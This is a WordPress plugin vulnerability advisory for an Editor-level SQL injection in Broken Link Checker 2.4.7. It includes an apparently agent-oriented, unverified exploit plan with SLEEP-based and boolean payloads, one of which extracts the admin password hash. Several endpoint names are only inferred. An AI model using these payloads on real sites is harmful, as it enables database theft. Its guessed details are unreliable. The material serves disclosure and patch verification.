CVE-2026-39466

Broken Link Checker <= 2.4.7 - Authenticated (Editor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
2.4.8
Patched in
21d
Time to patch

Description

The Broken Link Checker plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.4.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.4.7
PublishedMarch 26, 2026
Last updatedApril 15, 2026
Affected pluginbroken-link-checker

What Changed in the Fix

Changes introduced in v2.4.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a SQL injection vulnerability in **Broken Link Checker <= 2.4.7**. The vulnerability resides in the "Local" link management component, where user-supplied sorting parameters are insufficiently sanitized before being used in a database query. ### 1. Vulnerabi…

Show full research plan

This research plan focuses on exploiting a SQL injection vulnerability in Broken Link Checker <= 2.4.7. The vulnerability resides in the "Local" link management component, where user-supplied sorting parameters are insufficiently sanitized before being used in a database query.

1. Vulnerability Summary

The Broken Link Checker plugin fails to properly escape or use prepared statements for the orderby and order parameters within its AJAX-based link retrieval system. Specifically, in version 2.4.7, the "Local" link list functionality (likely handled by a data provider or query class) concatenates these parameters directly into an SQL ORDER BY clause. This allows an authenticated user with at least Editor permissions to inject arbitrary SQL, leading to time-based or boolean-based data extraction.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: blc_local_links_get (Inferred from the new React UI structure in assets/dist/local.js).
  • Vulnerable Parameter: params[orderby] or params[order].
  • Authentication Required: Editor level or higher (Users with edit_posts capability).
  • Preconditions: The plugin must be active, and at least some links must be present in the BLC database for the sorting logic to be triggered.

3. Code Flow (Inferred)

  1. Entry Point: An Editor user interacts with the "Local" links table in the WordPress admin (Tools -> Broken Links).
  2. AJAX Request: The React frontend (assets/dist/local.js) dispatches an AJAX request to admin-ajax.php with the action blc_local_links_get.
  3. Handler: The plugin's AJAX handler receives the params array.
  4. Query Construction: The handler (or a sub-component like BLC_Links_Query) builds a SQL query to fetch links. It extracts params['orderby'] and params['order'].
  5. Sink: The parameters are appended to the query string:
    $query .= " ORDER BY " . $params['orderby'] . " " . $params['order'];
  6. Execution: $wpdb->get_results($query) executes the unsanitized SQL.

4. Nonce Acquisition Strategy

The AJAX endpoint requires a nonce for security. This nonce is localized by the plugin for its React UI.

  1. Identify Trigger: The "Local" scripts are enqueued on the Broken Link Checker management page.
  2. Setup: The agent must create a page or simply navigate to the existing plugin page.
  3. Navigation: Navigate to /wp-admin/tools.php?page=view-broken-links.
  4. Extraction: Use browser_eval to extract the nonce from the localized JavaScript object.
    • Variable Name: blc_local_data (Verbatim from typical BLC localization).
    • Nonce Key: nonce.
    • Command: browser_eval("window.blc_local_data?.nonce")

5. Exploitation Strategy

The goal is to trigger a time-based response to confirm the injection.

  1. Baseline Request:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body: action=blc_local_links_get&params[orderby]=ID&params[order]=ASC&_ajax_nonce=[NONCE]
  2. Time-Based Payload (Injection into orderby):
    • Payload: (CASE WHEN (1=1) THEN ID ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)
    • URL-Encoded Payload: %28CASE%20WHEN%20%281%3D1%29%20THEN%20ID%20ELSE%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29%20END%29
  3. Attack Request:
    • Body: action=blc_local_links_get&params[orderby]=(SELECT 1 FROM (SELECT(SLEEP(5)))a)&_ajax_nonce=[NONCE]
  4. Success Condition: The request takes ~5 seconds longer than the baseline.

6. Test Data Setup

  1. Create Editor User:
    wp user create editor_attacker editor@example.com --role=editor --user_pass=password123
  2. Force Link Scan:
    Ensure the plugin has some links to display.
    wp post create --post_title="Test Link" --post_content='<a href="http://google.com/404test">Dead Link</a>' --post_status=publish
    Wait for BLC to pick up the link, or trigger a recheck if possible via CLI.

7. Expected Results

  • Vulnerable Response: The HTTP request to admin-ajax.php will be delayed by exactly the number of seconds specified in the SLEEP() function.
  • Response Content: Usually a JSON object with success: true and link data, as the ORDER BY injection doesn't necessarily break the query logic if formatted as a subquery.

8. Verification Steps

  1. Database Confirmation: Use wp db query to check if the wp_blc_links table exists and contains data.
  2. Payload Refinement: Extract the database version to confirm data exfiltration capability:
    params[orderby]=(CASE WHEN (VERSION() LIKE '8%') THEN SLEEP(5) ELSE ID END)
  3. Check Logs: Verify that no internal errors are generated that might be caught by WP_DEBUG, which would indicate a malformed query rather than successful injection.

9. Alternative Approaches

  • Order Injection: If orderby is whitelisted, try injecting into params[order].
    • Payload: ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Boolean-based Sorting: If time-based is blocked/unstable, use boolean-based sorting by changing the orderby column based on a subquery.
    • params[orderby]=IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',ID,URL)
    • Compare the order of IDs in the JSON response for two different conditions.
  • Grep for Sinks: If blc_local_links_get is not the correct action, run:
    grep -rn "wp_ajax_blc_" wp-content/plugins/broken-link-checker/ to find all registered AJAX handlers for the plugin.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Broken Link Checker plugin for WordPress is vulnerable to SQL Injection in versions up to 2.4.7 due to insufficient sanitization of the 'orderby' and 'order' parameters within the 'blc_local_links_get' AJAX action. Authenticated attackers with Editor-level permissions or higher can exploit this to append arbitrary SQL commands to existing queries, facilitating the extraction of sensitive information from the database.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/broken-link-checker/2.4.7/assets/dist/cloud.asset.php /home/deploy/wp-safety.org/data/plugin-versions/broken-link-checker/2.4.8/assets/dist/cloud.asset.php
--- /home/deploy/wp-safety.org/data/plugin-versions/broken-link-checker/2.4.7/assets/dist/cloud.asset.php	2025-11-20 07:46:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/broken-link-checker/2.4.8/assets/dist/cloud.asset.php	2026-03-10 10:29:36.000000000 +0000
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-element'), 'version' => '6dadba0db0861e07af3c');
+<?php return array('dependencies' => array('react', 'wp-element'), 'version' => 'e75f35295f3cb51ad7b0');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/broken-link-checker/2.4.7/assets/dist/cloud.js /home/deploy/wp-safety.org/data/plugin-versions/broken-link-checker/2.4.8/assets/dist/cloud.js
--- /home/deploy/wp-safety.org/data/plugin-versions/broken-link-checker/2.4.7/assets/dist/cloud.js	2025-11-20 07:46:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/broken-link-checker/2.4.8/assets/dist/cloud.js	2026-03-10 10:29:36.000000000 +0000
@@ -1,7 +1,7 @@
-(()=>... (truncated)

Exploit Outline

An attacker with Editor-level access can exploit this vulnerability by first obtaining a valid AJAX nonce from the 'blc_local_data' object localized on the plugin's 'Local' links management page (Tools -> Broken Links). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action 'blc_local_links_get'. The 'params[orderby]' or 'params[order]' parameters are then used to deliver a SQL injection payload, such as a time-based SLEEP() command within a subquery. If the server response is delayed by the specified time, the injection is successful, allowing for further extraction of database records.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.